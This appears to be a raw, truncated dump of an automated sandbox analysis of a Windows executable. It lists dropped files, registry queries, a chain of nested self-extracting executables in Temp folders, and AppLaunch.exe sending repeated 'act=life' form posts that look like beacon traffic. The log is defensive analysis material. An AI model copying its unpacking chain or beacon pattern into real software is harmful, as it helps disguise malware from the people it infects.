"errorPageStrings_1_" has type "Unknown"- [targetUID: N/A] "41RQDN95PRJOH6DM7PX2.temp" has type "Unknown"- [targetUID: N/A] "googlelogo_color_74x24dp_1_.png" has type "Unknown"- [targetUID: N/A] "opera_1_.png" has type "Unknown"- [targetUID: N/A] "index-CfssTcG8_1_.css" has type "Unknown"- [targetUID: N/A] "8B2B9A00839EED1DFDCCC3BFC2F5DF12" has type "Unknown"- [targetUID: N/A] "dnserror_1_" has type "Unknown"- [targetUID: N/A] "B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D" has type "Unknown"- [targetUID: N/A] "B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92" has type "Unknown"- [targetUID: N/A] "BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894" has type "Unknown"- [targetUID: N/A] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "Unknown"- [targetUID: N/A] "75CA58072B9926F763A91F0CC2798706_3AD253ACA02D44EA5FD30683B8A5B5FA" has type "Unknown"- [targetUID: N/A] "NewErrorPageTemplate_1_" has type "Unknown"- [targetUID: N/A] "CheckConnection_2_.htm" has type "Unknown"- [targetUID: N/A] "CheckConnection_1_.htm" has type "Unknown"- [targetUID: N/A] "favicon_3_.ico" has type "Unknown"- [targetUID: N/A] "DABA17F5E36CBE65640DD2FE24F104E7" has type "Unknown"- [targetUID: N/A] "05DDC6AA91765AACACDB0A5F96DF8199" has type "Unknown"- [targetUID: N/A] "620BEF1064BD8E252C599957B3C91896" has type "Unknown"- [targetUID: N/A] "892580777767344DCAEF580FFA143EA6_EF1B61DD3F93C58DBD0734F13C15C0F6" has type "Unknown"- [targetUID: N/A] "7EFPGUBN.txt" has type "Unknown"- [targetUID: N/A] "FA813BQM.txt" has type "Unknown"- [targetUID: N/A] "89BTQ7GH.txt" has type "Unknown"- [targetUID: N/A] "BCB67D7ECB470284AF35679F339E879F" has type "Unknown"- [targetUID: N/A] "0T9Z8YGU.txt" has type "Unknown"- [targetUID: N/A] "RJO7XNQX.txt" has type "Unknown"- [targetUID: N/A] "NDJ1IDJD.txt" has type "Unknown"- [targetUID: N/A] "P090QVSD.txt" has type "Unknown"- [targetUID: N/A] "GRA93E0D.txt" has type "Unknown"- [targetUID: N/A] "IUOTKNXB.txt" has type "Unknown"- [targetUID: N/A] "B46811C17859FFB409CF0E904A4AA8F8" has type "Unknown"- [targetUID: N/A] "QJLRNKJ9.txt" has type "Unknown"- [targetUID: N/A] "WXZXLCO7.txt" has type "Unknown"- [targetUID: N/A] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" has type "Unknown"- [targetUID: N/A] "D1BEC81CCAFDC823A062FF26A89A6B6D_B9B4646227E0866A0D172EA2B644DB92" has type "Unknown"- [targetUID: N/A] "6CAFE3B721B7CE350C58A8F3EB28AA44_C4935EE08CAA8E5372EBE50CFA866626" has type "Unknown"- [targetUID: N/A] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F" has type "Unknown"- [targetUID: N/A] "59D76868C250B3240414CE3EFBB12518_957FBAEAC26431C5F0B84F7986302387" has type "Unknown"- [targetUID: N/A] "F28CC103A764A74B222272A7D2BDDA5C" has type "Unknown"- [targetUID: N/A] "QCXY86U6.txt" has type "Unknown"- [targetUID: N/A] "26C212D9399727259664BDFCA073966E_912C3CA51DE6018A7BE4CA7BC64AAFCD" has type "Unknown"- [targetUID: N/A] "SQH7ZHOM.txt" has type "Unknown"- [targetUID: N/A] "55D343B052AE566C8BF677731180E634" has type "Unknown"- [targetUID: N/A] "KK0CJIDP.txt" has type "Unknown"- [targetUID: N/A] "CC640368512A0520EF9FE4E00D0FE9C4" has type "Unknown"- [targetUID: N/A] "25BB8G8K.txt" has type "Unknown"- [targetUID: N/A] "930FT2IT.txt" has type "Unknown"- [targetUID: N/A] "PY3Y4173.txt" has type "Unknown"- [targetUID: N/A] "IL96EH43.txt" has type "Unknown"- [targetUID: N/A] "DEEESX72.txt" has type "Unknown"- [targetUID: N/A] "XHY1X1X0.txt" has type "Unknown"- [targetUID: N/A] "B6QAOCOF.htm" has type "gzip compressed data original size modulo 2^32 365"- [targetUID: N/A] "3CHQ1BOK.txt" has type "Unknown"- [targetUID: N/A] "favicon_1_.htm" has type "Unknown"- [targetUID: N/A] "4TS2GDPL.txt" has type "Unknown"- [targetUID: N/A] "JYGXVNW7.txt" has type "Unknown"- [targetUID: N/A] "W8MM6SI1.txt" has type "Unknown"- [targetUID: N/A] "YKAJBLNO.txt" has type "Unknown"- [targetUID: N/A] "ZGIYO12Y.txt" has type "Unknown"- [targetUID: N/A] "39C2DE7Z.txt" has type "Unknown"- [targetUID: N/A] "L41S8P8N.txt" has type "Unknown"- [targetUID: N/A] "RMBB2YBH.txt" has type "Unknown"- [targetUID: N/A] "www.epicgames_1_.xml" has type "Unknown"- [targetUID: N/A] "bscframe_1_.htm" has type "Unknown"- [targetUID: N/A] "b_lEtPAUPMI_1_.webp" has type "Unknown"- [targetUID: N/A] "~DFE16D640DF697BEE4.TMP" has type "Unknown"- [targetUID: N/A] "httpErrorPagesScripts_2_" has type "Unknown"- [targetUID: N/A] "errorPageStrings_2_" has type "Unknown"- [targetUID: N/A] "dnserror_2_" has type "Unknown"- [targetUID: N/A] "NewErrorPageTemplate_2_" has type "Unknown"- [targetUID: N/A] "4NUX5SGK.htm" has type "gzip compressed data original size modulo 2^32 365"- [targetUID: N/A] "B0RVGXXM.htm" has type "gzip compressed data original size modulo 2^32 365"- [targetUID: N/A] "FQNRNLUV.txt" has type "Unknown"- [targetUID: N/A] "bscframe_2_.htm" has type "Unknown"- [targetUID: N/A]48:Tb94,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "")49:T10d8,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "E8CA98E34DD9B89697BDBB1AD24E6D8928D844C431C9CAB14ECB3D86551846E3"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CMF\CONFIG"; Key: "SYSTEM"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "")4a:T45d,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\px7mp64.exe" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\6gz238.exe" "Px7mP64.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\yx3tk97.exe" "Px7mP64.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\5ic74hi.exe" "yX3Tk97.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\3wl168kl.exe" "yX3Tk97.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\4fj5jn0.exe" "3Wl168Kl.exe" reads file "c:\windows\system32\ieframe.dll" "3Wl168Kl.exe" reads file "c:\program files\internet explorer\ieproxy.dll" "3Wl168Kl.exe" reads file "c:\program files\internet explorer\iexplore.exe" "4fJ5jN0.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe" "5IC74Hi.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe" "6gz238.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe"4b:Tc9a,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe.Local\" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\COMCTL32.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Cabinet.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\system32\Cabinet.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\VERSION.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\system32\VERSION.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\system32\apphelp.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\AppPatch\AcLayers.DLL" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\SspiCli.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\WINSPOOL.DRV" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\system32\WINSPOOL.DRV" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\MPR.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\system32\MPR.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\AppPatch\AcGenral.DLL" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\UxTheme.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\system32\UxTheme.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\WINMM.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\system32\WINMM.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\samcli.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\system32\samcli.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\MSACM32.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to touch file "C:\Windows\system32\MSACM32.dll"4c:Td0d,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\Cabinet.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\VERSION.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\SspiCli.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\MPR.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\UxTheme.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\WINMM.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\samcli.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\MSACM32.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\sfc.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\sfc_os.DLL" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\dwmapi.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Px7mP64.exe" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\FLTLIB.DLL" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\MSVCP140.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\ucrtbase.DLL" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\api-ms-win-core-timezone-l1-1-0.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\api-ms-win-core-file-l2-1-0.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\api-ms-win-core-localization-l1-2-0.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\api-ms-win-core-synch-l1-2-0.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\api-ms-win-core-file-l1-2-0.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\api-ms-win-crt-heap-l1-1-0.dll" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\api-ms-win-crt-string-l1-1-0.dll"4d:T87a,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe.Local\" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\WINSPOOL.DRV" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe.Config" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\E8CA98E34DD9B89697BDBB1AD24E6D8928D844C431C9CAB14ECB3D86551846E3.EXE.LOCAL" "e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3.exe" trying to access non-existent file "C:\E8CA98E34DD9B89697BDBB1AD24E6D8928D844C431C9CAB14ECB3D86551846E3.EXE.CONFIG" "Px7mP64.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Px7mP64.exe.Local\" "Px7mP64.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "Px7mP64.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Px7mP64.exe.Config" "Px7mP64.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "Px7mP64.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\PX7MP64.EXE.LOCAL" "Px7mP64.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\PX7MP64.EXE.CONFIG" "yX3Tk97.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\yX3Tk97.exe.Local\" "yX3Tk97.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WINSPOOL.DRV" "yX3Tk97.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\yX3Tk97.exe.Config" "yX3Tk97.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP"4e:T458,"AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5c4040" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5db1d0" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5c4300" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0" "$error": "2ee7"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5c4300" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0"}4f:T603,Found http requests in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D" Found http requests in header "GET /r/r1.crl" Found http requests in header "GET /wr2/oBFYYahzgVI.crl" Found http requests in header "GET /wr2/75r4ZyA3vA0.crl" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D" Found http requests in header "GET /wr2/9UVbN0w5E6Y.crl" Found http requests in header "GET /r/gsr1.crl" Found http requests in header "GET /r/r4.crl" Found http requests in header "GET /we1/pl4XiTjSDSk.crl" Found http requests in header "GET /we1/G0k-BqpOX8k.crl" Found http requests in header "GET /we1/x6Eg-8TSwUw.crl" Found http requests in header "GET /rootg2.cer" Found http requests in header "GET /rootca1.crl" Found http requests in header "GET /rootg2.crl" Found http requests in header "GET 